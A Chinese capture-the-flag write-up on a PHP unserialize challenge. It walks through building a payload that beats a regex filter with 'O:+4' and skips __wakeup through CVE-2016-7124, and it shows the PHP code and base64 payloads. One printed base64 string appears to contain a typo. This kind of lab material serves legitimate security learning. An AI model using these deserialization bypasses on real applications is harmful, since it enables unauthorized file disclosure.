关于攻防世界Web_php_unserialize 中的__weakup绕过

手机码字,好累~

刚刷完这道题,觉得挺有意思,做一下笔记。

打开题目有一段PHP代码,大致看了一下需要用到反序列化。

两点需要解决:

  • 绕过正则
  • 绕过__weakup

首先序列化

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s;  // 得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo "\n";
?>

绕过正则

正则规则

preg_match('/[oc]:\d+:/i', $var)

这里匹配 o或者c(不分大小写):数字: 这样的字符串,
O:4:不符合,只要在O:4的4之前加个+号就可以了 具体原因网上有前辈大神解答过了.(这个问题新版已经修复了)

修改后
O:+4:"Demo":1:{s:10:"Demofile" ;s:8:"fl4g.php";}

绕过__weakup
这里就是利用CVE-2016-7124,更改属性个数破坏属性检查绕过,老问题。

不过在这里还真碰到了问题

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s;  // O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo "\n";

// 绕过正则和修改属性数为2绕过__weakup
$str = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
echo base64_encode($str);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
?>

将上面base64_encode过的代码赋给var提交发现并没有绕过__weakup。

查阅资料发现php序列化private属性时会在类名和属性名前各加一个空字符,上面我的str变量的内容是从终端复制出来的,难道复制出来的内容已经不是以前的了?

于是稍改下代码,直接在代码中添加+号并且替换属性个数

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s;
echo "\n";

// $str = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
// 不复制直接替换
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);

echo $s1;  // O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// echo base64_encode($str);

echo "\n";  
echo base64_encode($s1);
// TzaorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>

嗯,和之前直接使用复制字符串得出的base64编码完全不同。

使用这次得到的base64码提交请求成功得到了flag。

还是有点不甘心,直接复制就没有办法了吗?

既然序列化之后在类名和属性名之前都加了空字符,复制会破坏空字符,但如果手动加入空字符呢?

于是着手准备尝试一下

整理一下代码

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);

// 复制之后的字符串 添加\00
$str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}';
// 直接替换的字符串
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);

echo base64_encode($str);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiXDAwRGVtb1wwMGZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
echo "\n";
echo base64_encode($s1);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>

还是不一样。

这里有个小插曲,本来想把两个base64编码后的字符串分两行显示,于是在两行中间加上了echo ‘\n’,结果发现\n被原样显示了~
于是查了一下php中单引号和双引号的区别,
发现单引号会原样显示包括的内容(包括\),而双引号会解释替换需要转义的内容。

这就真相大白了

上面复制之后的字符串中的\00被包含在单引号中~~

改变一下方式,最外围用双引号包围,中间的双引号全部使用转义字符, 如下

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);

// 复制之后的字符串 用双引号包围,中间双引号转义
$str = "O:+4:\"Demo\":2:{s:10:\"\00Demo\00file\";s:8:\"fl4g.php\";}";
// 直接替换的字符串
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);

// 判断是否两次base64编码结果相等
echo strcmp(base64_encode($str), base64_encode($s1));  // 0
?>

嗯,这回就对了!

你可能感兴趣的:(笔记)